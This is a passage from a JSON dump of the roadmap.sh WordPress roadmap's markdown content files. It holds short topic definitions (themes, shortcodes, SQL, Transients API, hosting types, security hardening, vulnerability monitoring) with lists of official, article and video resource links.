    "content": "# Sage\n\nSage is a WordPress starter theme that offers a modern development workflow. It utilizes tools like Composer, Webpack, and Blade templating to streamline the process of building custom WordPress themes. This approach aims to improve code quality, maintainability, and overall development efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Sage](https://roots.io/sage/)\n- [@opensource@sage](https://github.com/roots/sage)\n- [@article@Dummy’s Guide to Roots Sage Theme in WordPress](https://toby.ink/blog/2020/11/26/dummys-guide-to-roots-sage-theme-in-wordpress/)\n- [@video@Become pro WP Developer with Sage (Roots stack) and Gutenberg - ep. 1](https://www.youtube.com/watch?v=l8Xf97a7Ans&list=PLJmazrJBxbTQKEBfQZtYXYJgReCH5BIQ_)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/security--hardening@E559_d1l7iIMDb6QobOsh.md",
    "content": "# Security & Hardening\n\nSecurity & Hardening refers to the process of strengthening a system or application to reduce its vulnerability to attacks. This involves implementing various measures to protect against unauthorized access, data breaches, and other security threats by identifying and mitigating potential weaknesses in the system's configuration and code.\n\nVisit the following resources to learn more:\n\n- [@official@Hardening WordPress](https://developer.wordpress.org/advanced-administration/security/hardening/)\n- [@official@Keep your site safe and secure](https://wordpress.com/support/security/)\n- [@article@WordPress security & hardening, the definitive guide](https://melapress.com/wordpress-security/?utm_medium=referral&utm_source=roadmapsh&utm_campaign=wproadmap)\n- [@article@How to improve WordPress security: 22 methods to protect your website](https://www.hostinger.com/tutorials/how-to-secure-wordpress)\n- [@video@How to Secure Your WordPress Site in 2025](https://www.youtube.com/watch?v=D0Q6448Fpo8)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/security-best-practices@9jEQivDC8PpTGTJXMkD6t.md",
    "content": "# Security Best Practices\n\nSecurity best practices are a set of guidelines and techniques designed to minimize vulnerabilities and protect systems and data from unauthorized access, use, disclosure, disruption, modification, or destruction. They involve implementing various measures, such as strong passwords, regular software updates, access controls, and proactive monitoring, to create a robust defense against potential threats.\n\nVisit the following resources to learn more:\n\n- [@official@Security](https://developer.wordpress.org/advanced-administration/security/)\n- [@article@A complete guide to WordPress security best practices in 2025](https://nordlayer.com/blog/wordpress-security-best-practices/)\n- [@article@WordPress security checklist: 30 measures to safeguard your site](https://www.hostinger.com/tutorials/wordpress-security-checklist)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/settings-api@1dOm-BAhGXVxhRu-xin25.md",
    "content": "# Settings API\n\nThe Settings API provides a standardized way for plugin developers to create and manage settings pages within the WordPress admin area. It simplifies the process of registering settings, creating sections, and adding fields, ensuring a consistent user experience across different plugins. By using the Settings API, developers can easily handle data validation, sanitization, and storage for their plugin options."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/settings-page@PlWlAn7qFY5qxYXjQkFrw.md",
    "content": "# Settings Page\n\nA settings page in a plugin provides a user interface within the WordPress admin area where users can configure the plugin's options and customize its behavior. It allows plugin developers to expose various settings, such as API keys, display preferences, or feature toggles, in an organized and accessible way, enabling users to tailor the plugin to their specific needs."
  },
  {
    "path": "src/data/roadmaps/wordpress/content/shared@r-1Dz77W-afY3PARBR5LI.md",
    "content": "# Shared Hosting\n\nShared hosting is a type of web hosting where multiple websites reside on a single physical server. Resources like CPU, memory, and bandwidth are shared among all the websites hosted on that server. This makes it a cost-effective option, especially for beginners and small websites with moderate traffic.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Shared Hosting and How Does It Work +Pros & Cons](https://www.hostinger.com/tutorials/what-is-shared-hosting)\n- [@video@Shared Hosting vs Managed WordPress Hosting - Everything you need to know + which 1 is right for you](https://www.youtube.com/watch?v=tcUB7IyK1D8)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/shortcodes@-YkWyPuFOn8n9l9UjJje9.md",
    "content": "# Shortcodes\n\nShortcodes in WordPress are like shortcuts that allow you to easily add dynamic content or functionality to your posts, pages, and widgets. They are special tags enclosed in square brackets, such as `[my_shortcode]`, that WordPress recognizes and replaces with the corresponding output defined by the shortcode's associated function. This lets you embed things like videos, forms, or complex layouts without writing any code directly in your content.\n\nVisit the following resources to learn more:\n\n- [@official@Shortcode](https://codex.wordpress.org/Shortcode)\n- [@official@Shortcode block](https://wordpress.com/support/wordpress-editor/blocks/shortcode-block/)\n- [@official@Shortcode API](https://codex.wordpress.org/Shortcode_API)\n- [@article@The Ultimate Guide to WordPress Shortcodes (With Examples to Create Your Own)](https://kinsta.com/blog/wordpress-shortcodes/)\n- [@video@Guía definitiva de los shortcodes de WordPress](https://www.youtube.com/watch?v=sq1OZ2ZNqIw)\n- [@video@How to Create a Shortcode in WordPress](https://www.youtube.com/watch?v=ooDcpimdf_w)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/sql@F-9uI39S9oYVGA8hi7aZI.md",
    "content": "# SQL\n\nSQL, or Structured Query Language, is a programming language used for managing and manipulating data held in a relational database management system (RDBMS). It allows you to create, read, update, and delete data. WordPress uses a MySQL database to store all of its content, including posts, pages, user information, and settings, making SQL essential for understanding how WordPress functions and for tasks like database optimization or troubleshooting.\n\nVisit the following resources to learn more:\n\n- [@course@roadmap.sh - Master SQL](https://roadmap.sh/courses/sql)\n- [@article@Visit the Dedicated QSL Rodmap](https://roadmap.sh/sql)\n- [@article@SQL Tutorial](https://www.sqltutorial.org/)\n- [@article@SQL Tutorial](https://www.thoughtspot.com/sql-tutorial)\n- [@video@SQL Course for Beginners [Full Course]](https://www.youtube.com/watch?v=7S_tz1z_5bA)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/style--script-enqueueing@5BNtWkac37Bydp6pFzHuP.md",
    "content": "# Style & Script Enqueueing\n\nStyle and script enqueueing is the proper way to add CSS stylesheets and JavaScript files to your WordPress website. Instead of directly adding code to your theme's header or footer, enqueueing uses WordPress functions to register and load these assets in a controlled and organized manner. This ensures compatibility, avoids conflicts with other plugins and themes, and allows for dependency management.\n\nVisit the following resources to learn more:\n\n- [@official@Enqueueing Scripts And Styles](https://learn.wordpress.org/lesson-plan/enqueueing-scripts-and-styles/)\n- [@official@wp_enqueue_style](https://developer.wordpress.org/reference/functions/wp_enqueue_style/)\n- [@official@wp_enqueue_script](https://developer.wordpress.org/reference/functions/wp_enqueue_script/)\n- [@article@wp_enqueue_scripts – How to Enqueue Your Assets in WordPress](https://kinsta.com/blog/wp-enqueue-scripts/)\n- [@article@How to Enqueue CSS Stylesheet to WordPress Using wp_enqueue_style](https://www.hostinger.com/ph/tutorials/wp_enqueue_style)\n- [@video@Enqueuing CSS and JavaScript](https://www.youtube.com/watch?v=a7ZRFA2s-pM)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/stylecss@1BtXLjHOINLx9SJ1Y9gyd.md",
    "content": "# style.css in Classic WordPress Themes\n\nThe `style.css` file is the main stylesheet in a classic WordPress theme. It controls the visual appearance of your website, defining elements like colors, fonts, layout, and responsiveness. This file is also required for WordPress to recognize the theme and display its name and other metadata in the WordPress admin panel.\n\nVisit the following resources to learn more:\n\n- [@official@Main Stylesheet (style.css)](https://developer.wordpress.org/themes/classic-themes/basics/main-stylesheet-style-css/)\n- [@official@Add custom CSS](https://wordpress.com/support/editing-css/)\n- [@article@How to Edit CSS in WordPress (Edit, Add, and Customize How Your Site Looks)](https://kinsta.com/blog/wordpress-css/)\n- [@video@How to Edit CSS in WordPress](https://www.youtube.com/watch?v=1DUH_85wxVI)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/styles@rl-8l8nhjNLtVglNM_Aaw.md",
    "content": "# Block Theme Styles\n\nBlock theme styles in WordPress are sets of pre-defined visual settings that control the look and feel of your website. They allow you to quickly change things like colors, typography, and spacing across your entire site without needing to write any code. These styles are applied to the blocks that make up your pages and posts, ensuring a consistent and visually appealing design.\n\nVisit the following resources to learn more:\n\n- [@official@Styles](https://developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/)\n- [@official@Block Style Variations](https://developer.wordpress.org/themes/features/block-style-variations/)\n- [@official@Mastering Custom Block Styles in WordPress: 6 Methods for Theme and Plugin Developers](https://wordpress.com/blog/2025/05/07/custom-block-styles/)\n- [@article@Block style variations and section styles](https://fullsiteediting.com/lessons/custom-block-styles/)\n- [@video@Block Style Variations](https://www.youtube.com/watch?v=38crES_t-Qk)\n- [@video@Builder Basics: Block Styles vs. Block Variations](https://www.youtube.com/watch?v=ICI0GW9vibk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/sytles@rl-8l8nhjNLtVglNM_Aaw.md",
    "content": "# Block Theme Styles\n\nBlock theme styles in WordPress are sets of pre-defined visual settings that control the look and feel of your website. They allow you to quickly change things like colors, typography, and spacing across your entire site without needing to write any code. These styles are applied to the blocks that make up your pages and posts, ensuring a consistent and visually appealing design.\n\nVisit the following resources to learn more:\n\n- [@official@Styles](https://developer.wordpress.org/block-editor/reference-guides/block-api/block-styles/)\n- [@official@Block Style Variations](https://developer.wordpress.org/themes/features/block-style-variations/)\n- [@official@Mastering Custom Block Styles in WordPress: 6 Methods for Theme and Plugin Developers](https://wordpress.com/blog/2025/05/07/custom-block-styles/)\n- [@article@Block style variations and section styles](https://fullsiteediting.com/lessons/custom-block-styles/)\n- [@video@Block Style Variations](https://www.youtube.com/watch?v=38crES_t-Qk)\n- [@video@Builder Basics: Block Styles vs. Block Variations](https://www.youtube.com/watch?v=ICI0GW9vibk)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/taxonomies@x4mnKW7I-du18ybY3Pb0r.md",
    "content": "# Taxonomies\n\nTaxonomies are ways to group content. Think of them as organizational tools that help you classify and structure your website's information. They allow you to create relationships between different pieces of content, making it easier for users to navigate and find what they're looking for. Common examples include categories and tags, but you can also create custom taxonomies to suit your specific needs.\n\nVisit the following resources to learn more:\n\n- [@official@Taxonomies](http://wordpress.org/documentation/article/taxonomies/)\n- [@article@Categories, Tags, & Custom Taxonomies](https://developer.wordpress.org/themes/classic-themes/basics/categories-tags-custom-taxonomies/)\n- [@article@What is a Taxonomy? WordPress Taxonomies Explained](https://kinsta.com/blog/what-is-taxonomy/)\n- [@article@What is WordPress taxonomy and how to create custom ones?](https://www.hostinger.com/tutorials/wordpress-taxonomy)\n- [@video@WordPress taxonomies](https://www.youtube.com/watch?v=TPbMiwuoMtU)\n- [@video@Creating custom post types and taxonomies](https://www.youtube.com/watch?v=WB7BKQdcP9w)\n- [@video@Custom Taxonomy in WordPress - How To Create and Customize Your WordPress Taxonomy](https://www.youtube.com/watch?v=k6lGmyhT1uo)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/template-files@47mdVZFZl1CF-_mgG3qHF.md",
    "content": "# Template Files\n\nTemplate files are the building blocks of a WordPress theme, determining how your website's content is displayed. These files, written in PHP, HTML, and CSS, control the layout and design of different pages and sections of your site, such as the homepage, single posts, and archives. By modifying or creating template files, you can customize the appearance and functionality of your WordPress website.\n\nVisit the following resources to learn more:\n\n- [@official@Template Files](https://developer.wordpress.org/themes/classic-themes/basics/template-files/)\n- [@official@Templates Guide](https://wordpress.com/support/templates/)\n- [@official@Templates](https://codex.wordpress.org/Templates)\n- [@video@The Hidden Power of WordPress Templates](https://www.youtube.com/watch?v=JO-bn9jwarQ)\n- [@video@WordPress Templates VS Themes: What is the difference?](https://www.youtube.com/watch?v=819os4xpn2k)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/template-hierarchy@dPgcKkbULFFdx3po8Ijgf.md",
    "content": "# Template Hierarchy\n\nThe Template Hierarchy is the system WordPress uses to determine which template file to use for displaying a specific page or post. It's essentially a roadmap that WordPress follows, checking for specific template files in your theme's folder. If a specific template file isn't found, WordPress moves down the hierarchy to a more general template until it finds one that matches. This allows for highly customized layouts for different content types and archive pages.\n\nVisit the following resources to learn more:\n\n- [@official@Template Hierarchy](https://developer.wordpress.org/themes/classic-themes/basics/template-hierarchy/)\n- [@article@A Guide to the WordPress Template Hierarchy](https://kinsta.com/blog/wordpress-template-hierarchy/)\n- [@article@Template hierarchy](https://www.hostinger.com/ca/tutorials/wordpress-template-hierarchy)\n- [@video@Template Hierarchy](https://www.youtube.com/watch?v=sDWvuYzeW4E)\n- [@video@A Guide to the WordPress Template Hierarchy (2021 Edition)](https://www.youtube.com/watch?v=ssqyrXoH7LI)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/template-parts@SyKVTUomX-UB3zUnCfrdA.md",
    "content": "# Template Parts\n\nTemplate Parts are reusable sections of a WordPress block theme that define specific areas of a website's layout, like headers, footers, or sidebars. They are built using blocks and can be easily included in multiple templates, allowing for consistent design and easier content management across a site. Changes made to a Template Part are automatically reflected wherever that part is used.\n\nVisit the following resources to learn more:\n\n- [@official@Template Parts](https://developer.wordpress.org/themes/global-settings-and-styles/template-parts/)\n- [@official@Template Parts](https://developer.wordpress.org/themes/templates/template-parts/)\n- [@article@Introduction to templates and template parts](https://fullsiteediting.com/lessons/templates-and-template-parts/)\n- [@article@Block-Based Template Parts: A Happy Medium Between Classic and Block Themes](https://gutenbergtimes.com/block-based-template-parts-for-classic-themes/)\n- [@video@Using template parts](https://www.youtube.com/watch?v=CTn9jtvCvtc)\n- [@video@Template parts](https://www.youtube.com/watch?v=BqKb_hWUM1w)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/template-tags@Gr68jNPdHq19bLDpx17aU.md",
    "content": "# undefined\n\n|# Template Tags\n\nTemplate tags are PHP functions used within WordPress theme template files to retrieve and display dynamic data. They act as placeholders that are replaced with information from the WordPress database, such as post titles, content, author information, and more. Using template tags allows theme developers to create dynamic and flexible layouts without hardcoding specific values.\n\nVisit the following resources to learn more:\n\n- [@official@Template Tags - Theme Handbook](https://developer.wordpress.org/themes/classic-themes/basics/template-tags/)\n- [@official@Template Tags](https://codex.wordpress.org/Template_Tags)\n- [@article@What is: Template Tag](https://www.wpbeginner.com/glossary/template-tag/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/the-loop@d8QcGVn2NoHxJlDxH_n_R.md",
    "content": "# The Loop\n\nThe Loop in WordPress is essentially a PHP code structure that fetches and displays your website's posts. Think of it as a cycle that goes through each post in your database, one by one, and presents its content on the page. It continues this process until all relevant posts have been displayed, then it stops.\n\nVisit the following resources to learn more:\n\n- [@official@The Loop](https://developer.wordpress.org/themes/classic-themes/basics/the-loop/)\n- [@article@The Loop](https://codex.wordpress.org/The_Loop)\n- [@article@WordPress Loop complete guide: everything you need to know](https://kinsta.com/blog/wordpress-loop/)\n- [@video@The Loop](https://www.youtube.com/watch?v=jMI9oYI4ySk)\n- [@video@Mastering the WordPress Loop - Complete Tutorial](https://www.youtube.com/watch?v=-XOBJm2SObQ)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/theme-structure@HGczCcVcLru6ac76YdcZW.md",
    "content": "# Block Theme Structure\n\nBlock themes in WordPress are structured around blocks, which are the fundamental units for building website content and layout. The theme's structure defines how these blocks are organized and rendered, encompassing template files, template parts, and the theme's `theme.json` file, which controls global styles and settings. This structure dictates the overall look and feel of the website, offering flexibility and customization through block-based editing.\n\nVisit the following resources to learn more:\n\n- [@official@Theme Structure](https://developer.wordpress.org/themes/core-concepts/theme-structure/)\n- [@article@Block Theme Anatomy: Structure & Files](https://www.wpexplorer.com/block-theme-anatomy/)\n- [@article@A Comprehensive Guide to Building WordPress Block Themes](https://gutenbergmarket.com/news/a-comprehensive-guide-to-building-wordpress-block-themes)\n- [@video@WordPress Block Themes: Don't make this BEGINNERS mistake!](https://www.youtube.com/watch?v=RsFMHafzUz4)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/themes@z7gh1lLCcgpwjK9Q9hJB0.md",
    "content": "# Themes\n\nThemes in WordPress control the overall design and appearance of your website. They dictate the layout, colors, fonts, and styles used to present your content to visitors. Think of them as pre-designed templates that you can customize to create a unique look for your site without needing to write code from scratch.\n\nVisit the following resources to learn more:\n\n- [@official@Themes](https://wordpress.org/themes/)\n- [@official@What Is a Theme?](https://developer.wordpress.org/themes/getting-started/what-is-a-theme/)\n- [@official@Different types of themes](https://wordpress.com/support/theme-types/)\n- [@article@What is a WordPress theme and how to choose one](https://www.hostinger.com/tutorials/what-is-a-wordpress-theme)\n- [@article@30 best free WordPress themes](https://www.hostinger.com/tutorials/best-free-wordpress-themes)\n- [@video@What is a WordPress Theme? | Best WordPress Theme for Business (Beginners Guide)](https://www.youtube.com/watch?v=0tt_JxQr_ds)\n- [@video@Choosing and installing a theme](https://www.youtube.com/watch?v=tMi4F6bScqM)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/third-party-page-builders@OAb9tYljyN-Xo1RRx4TED.md",
    "content": "# Third-Party Page Builders\n\nThird-party page builders are plugins that extend WordPress's functionality by providing a visual, drag-and-drop interface for designing and creating website pages. They offer a more intuitive alternative to the standard WordPress editor, allowing users to build complex layouts and designs without needing to write code. These builders often come with pre-designed templates and a variety of customizable elements, making it easier to create professional-looking websites.\n\nVisit the following resources to learn more:\n\n- [@official@Third-party editors](https://wordpress.com/support/editors/#third-party-editors)\n- [@official@Get help with plugins and themes](https://wordpress.com/support/plugins/get-help-with-plugins-and-themes/)\n- [@article@10 best WordPress page builders for 2025](https://www.hostinger.com/ca/tutorials/wordpress-page-builders)\n- [@video@Do You Need a WordPress Page Builder in 2025?](https://www.youtube.com/watch?v=u-uacAnL2Sw)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/third-party@bM7grwJzuauC3ap7MNwuN.md",
    "content": "# Third-Party WordPress Themes\n\nThird-party WordPress themes are pre-designed website templates created by developers or companies other than [WordPress.org](http://WordPress.org). These themes offer a wide range of designs and functionalities, allowing users to quickly customize the look and feel of their WordPress website without extensive coding knowledge. They are typically purchased or downloaded from independent marketplaces or theme developers' websites.\n\nVisit the following resources to learn more:\n\n- [@official@Different types of themes](https://wordpress.com/support/theme-types/)\n- [@official@Upload a theme](https://wordpress.com/support/themes/uploading-setting-up-custom-themes/)\n- [@article@Third-Party vs Custom WordPress Themes: What’s Best for Your Agency?](https://automattic.com/for-agencies/blog/wordpress-themes-for-agencies/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/transients-api@WXTnOWylTg4aLn8r1mdwS.md",
    "content": "# Transients API\n\nThe Transients API in WordPress provides a simple way to store temporary data in the database. Think of it as a caching system for storing the results of expensive operations, like complex database queries or external API calls. This stored data can then be quickly retrieved later, reducing server load and improving website performance. Transients have an expiration time, after which they are automatically deleted, ensuring that the stored data remains relevant and doesn't clutter the database indefinitely.\n\nVisit the following resources to learn more:\n\n- [@official@An introduction to the Transients API](https://developer.wordpress.org/news/2024/06/an-introduction-to-the-transients-api/)\n- [@official@Transients](https://developer.wordpress.org/apis/transients/)\n- [@official@https://wordpress.com/blog/2022/11/04/complete-guide-to-wordpress-transients/](https://wordpress.com/blog/2022/11/04/complete-guide-to-wordpress-transients/)\n- [@article@A Guide to Transients in WordPress](https://wpengine.com/resources/guide-to-transients-in-wordpress/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/universal@wlFxhJTD3VZBhRTWKHaT6.md",
    "content": "# Universal Themes\n\nUniversal themes were the initial iteration of themes designed specifically to leverage the power of WordPress's block editor (Gutenberg). They aimed to provide a seamless and consistent editing experience, allowing users to build entire websites using blocks, from headers and footers to page content, all within the editor interface. While mostly similar to block themes, the primary difference is that they still use the Customizer to edit certain aspects, like Menus.\n\nVisit the following resources to learn more:\n\n- [@official@Different types of themes](https://wordpress.com/support/theme-types/)\n- [@article@Choosing and installing a theme](https://learn.wordpress.org/tutorial/choosing-and-installing-theme/)\n- [@article@Universal themes: Some ideas](https://themeshaper.com/2021/06/23/universal-themes-some-ideas/)\n- [@video@Choosing and installing a theme](https://www.youtube.com/watch?v=tMi4F6bScqM)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/update-strategies@AGQ9uXMYuYQ5d6w56gJBP.md",
    "content": "# Update Strategies\n\nUpdating WordPress involves keeping your core software, themes, and plugins current to ensure security, performance, and compatibility. You can manage updates directly from your WordPress dashboard by navigating to the \"Updates\" section. Here, you'll see available updates and can install them with a click. For more control, you can configure automatic updates for minor versions or specific plugins. Regularly updating your WordPress site is crucial for maintaining a healthy and secure website.\n\nVisit the following resources to learn more:\n\n- [@article@How To Update WordPress Without Breaking Your Site](https://www.dreamhost.com/blog/update-wordpress/)\n- [@article@Don’t Panic! A Stress-Free Approach to WordPress Update Management](https://wponcall.com/wordpress-update-management/)\n- [@video@WordPress Updates 101 (and Beyond)](https://www.youtube.com/watch?v=8o40zePHRwo&t=354s&utm_medium=referral&utm_source=roadmapsh&utm_campaign=wproadmap)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/user--login-security@1737UjumNSgI4woESMn49.md",
    "content": "# User & Login Security\n\nUser and login security focus on protecting user accounts and the login process from unauthorized access. This involves implementing measures like strong passwords, two-factor authentication, limiting login attempts, and regularly monitoring user activity to prevent brute-force attacks and account compromises. Properly securing user accounts is essential for maintaining the overall integrity and safety of a WordPress website.\n\nVisit the following resources to learn more:\n\n- [@article@What is 2FA? A beginner’s guide](https://melapress.com/what-is-2fa-beginners-guide/?utm_medium=referral&utm_source=roadmapsh&utm_campaign=wproadmap)\n- [@article@How to Monitor User Activity in WordPress With Security Audit Logs](https://www.wpbeginner.com/plugins/how-to-monitor-user-activity-in-wordpress-with-simple-history/)\n- [@video@Simple WordPress Security Wins - How to Protect Your WordPress Users' Accounts (for FREE)](https://www.youtube.com/watch?v=HzZ6FIvuiB4/?utm_medium=referral&utm_source=roadmapsh&utm_campaign=wproadmap)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/user-roles@KR9cp-nDEGTab4vmz0XBZ.md",
    "content": "# User Roles\n\nUser roles define the capabilities and permissions granted to different users on a WordPress website. They control what actions a user can perform, such as creating posts, managing comments, or installing plugins. By assigning appropriate roles, website administrators can effectively manage access and maintain the security and integrity of their WordPress site.\n\nVisit the following resources to learn more:\n\n- [@official@Roles and Capabilities](https://wordpress.org/documentation/article/roles-and-capabilities/)\n- [@article@How to use WordPress user roles for improved WordPress security](https://melapress.com/wordpress-user-roles-wordpress-security/?utm_medium=referral&utm_source=roadmapsh&utm_campaign=wproadmap)\n- [@article@The ultimate guide to WordPress user management](https://melapress.com/ultimate-guide-wordpress-user-management/?utm_medium=referral&utm_source=roadmapsh&utm_campaign=wproadmap)\n- [@article@WordPress User Roles & Capabilities: The Ultimate 2025 Guide](https://jetpack.com/resources/wordpress-user-roles-the-ultimate-guide/)\n- [@video@Adding custom user roles using a WordPress plugin](https://www.youtube.com/watch?v=FfEpt8RaTB4)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/virtual-patching@GkaZLnXVhHqn2sQfChor7.md",
    "content": "# Virtual Patching\n\nVirtual patching is a security policy enforcement mechanism that addresses vulnerabilities in real-time. It involves deploying security rules to protect against known exploits, effectively shielding vulnerable systems without requiring immediate code modification. This approach acts as a temporary fix, providing a window for developers to apply permanent patches while mitigating the risk of exploitation.\n\nVisit the following resources to learn more:\n\n- [@article@Virtual Patching, Your WordPress Website’s First Line Of Defence](https://www.impactmedia.co.uk/insights/virtual-patching-wordpress-website-first-line-defence/)\n- [@video@What is Virtual Patching & How Does It Work?](https://www.youtube.com/watch?v=Y2dXCGPpBjE)\n- [@video@5 SIMPLE Steps to Securing WordPress](https://www.youtube.com/watch?v=RxEg2dCS67I)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/vps@7p44mAXvgrxoeJU1h0sP1.md",
    "content": "# VPS Hosting for WordPress\n\nA Virtual Private Server (VPS) provides a virtualized server environment within a larger physical server. It offers more control and resources compared to shared hosting, as each VPS operates independently with its own operating system, dedicated storage, and allocated RAM. This isolation ensures that your website's performance isn't affected by other users on the same physical server.\n\nVisit the following resources to learn more:\n\n- [@article@What is a VPS (Virtual Private Server)?](https://aws.amazon.com/what-is/vps/)\n- [@article@What is VPS (virtual private server) hosting?](https://www.hostinger.com/tutorials/what-is-vps-hosting)\n- [@video@How to Install WordPress on a VPS | QUICK & EASY WordPress Installation](https://www.youtube.com/watch?v=Ve6uLry5LY4)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/vulnerability-monitoring@pdoRrBaVwVTGCaJH4kY60.md",
    "content": "# Vulnerability Monitoring\n\nVulnerability monitoring is the process of continuously scanning and assessing systems, applications, and networks for known weaknesses or flaws that could be exploited by attackers. This involves identifying potential security gaps, tracking new vulnerabilities as they are discovered, and prioritizing remediation efforts to minimize risk. Effective vulnerability monitoring helps organizations proactively address security threats before they can be leveraged to compromise data or disrupt operations.\n\nVisit the following resources to learn more:\n\n- [@article@What is vulnerability monitoring in WordPress?](https://www.one.com/en/wordpress-hosting/vulnerability-monitoring-wordpress)\n- [@article@Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)\n- [@article@The Best 5 WordPress Vulnerability Scanners in 2025 (Compared)](https://runcloud.io/blog/best-wordpress-vulnerability-scanner)\n- [@video@How Hackers Find Vulnerabilities in WordPress & Exploit Them | Scanning WP For Vulnerabilities](https://www.youtube.com/watch?v=IoHUftKVvmk)\n- [@video@WordPress Vulnerabilities](https://www.youtube.com/watch?v=-evas4VOLH8)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/vvv@4z0UM3vkE2m01G5vfH2rv.md",
    "content": "# VVV\n\nVVV (Varying Vagrant Vagrants) is an open-source development environment specifically designed for WordPress. It provides a pre-configured virtual machine that includes everything you need to develop WordPress themes, plugins, and even WordPress core itself. This allows developers to create a consistent and isolated environment, minimizing compatibility issues and streamlining the development process.\n\nVisit the following resources to learn more:\n\n- [@official@VVV](https://varyingvagrantvagrants.org/)\n- [@official@Installing VVV](https://make.wordpress.org/core/handbook/tutorials/installing-wordpress-locally/installing-vvv/)\n- [@opensource@varying-vagrant-vagrants](https://github.com/Varying-Vagrant-Vagrants/VVV)\n- [@article@How to Use Varying Vagrant Vagrants (VVV) for WordPress Development](https://www.wpkube.com/how-to-use-varying-vagrant-vagrants-vvv-for-wordpress-development/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/what-is-a-cms@zc99eitvwwv7EmMRjhOSE.md",
    "content": "# What is a CMS?\n\nA Content Management System (CMS), such as WordPress, is a software application that allows users to create, manage, and modify content on a website without needing specialized technical knowledge. It provides a user-friendly interface for tasks like writing and editing text, uploading images, and organizing website structure. Essentially, it simplifies the process of building and maintaining a website.\n\nVisit the following resources to learn more:\n\n- [@article@Content management system](https://en.wikipedia.org/wiki/Content_management_system)\n- [@article@What is a content management system (CMS)?](https://www.ibm.com/think/topics/content-management-system)\n- [@video@What Is A CMS? - What Is Web Development](https://www.youtube.com/watch?v=ObEifg2REog)\n- [@video@What is a Content Management System?](https://www.youtube.com/watch?v=WRPROIheR0E)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/what-is-http@LmEWD_XxAfoGvFqvmcT7Q.md",
    "content": "# HTTP Explained\n\nHTTP, or Hypertext Transfer Protocol, is the foundation of data communication on the World Wide Web. It's the set of rules that govern how web browsers and web servers communicate, allowing users to request and receive resources like HTML documents, images, and other files. Essentially, it's the language that computers use to talk to each other when you browse the internet.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@How HTTPS Works](https://howhttps.works)\n- [@article@HTTP/3 Is Now a Standard: Why Use It and How to Get Started](https://thenewstack.io/http-3-is-now-a-standard-why-use-it-and-how-to-get-started/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/widgets@DzXBl8O1uwq_DgyD88qRq.md",
    "content": "# Widgets\n\nWidgets are small blocks of content that you can add to various areas of your WordPress website, typically in sidebars, footers, or other widget-ready areas defined by your theme. They allow you to easily add features and content without needing to write code, such as displaying recent posts, categories, search bars, or custom text.\n\nVisit the following resources to learn more:\n\n- [@official@Widgets](https://wordpress.com/support/widgets/)\n- [@official@Manage WordPress widgets](https://wordpress.org/documentation/article/manage-wordpress-widgets/)\n- [@article@The Complete Guide to WordPress Widgets: How to Use, Add, and Implement Them to Customize Your Site](https://kinsta.com/blog/wordpress-widgets/)\n- [@article@What Are WordPress Widgets & How to Add Them to Your Site](https://jetpack.com/resources/wordpress-widgets/)\n- [@video@WordPress Widgets: The Complete Guide](https://www.youtube.com/watch?v=JZcCR8BGjIA)\n- [@video@How to Use Widgets in WordPress](https://www.youtube.com/watch?v=nbeac4qzS6M)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/wordpress-credit-program@0FtAQxN7lVZcTOVjbffvW.md",
    "content": "# WordPress Credit Program\n\nThe WordPress Credit Program recognizes and rewards individuals who contribute to the WordPress open-source project. By participating in various activities like coding, testing, documentation, translation, and community support, contributors earn credits that are displayed on their [WordPress.org](http://WordPress.org) profiles. This program is particularly relevant for students as it provides a structured way to gain practical experience, build a portfolio, and demonstrate their skills to potential employers within the WordPress ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@WordPress Credits](https://learn.wordpress.org/course/wordpress-credits/)\n- [@official@WordPress Credits: Contribution Program for Students](https://make.wordpress.org/handbook/wordpress-credits-contribution-internship-program/)"
  },
  {
    "path": "src/data/roadmaps/wordpress/content/wordpress-rest-api@gpO6iYnsepFTjbYzUEET0.md",
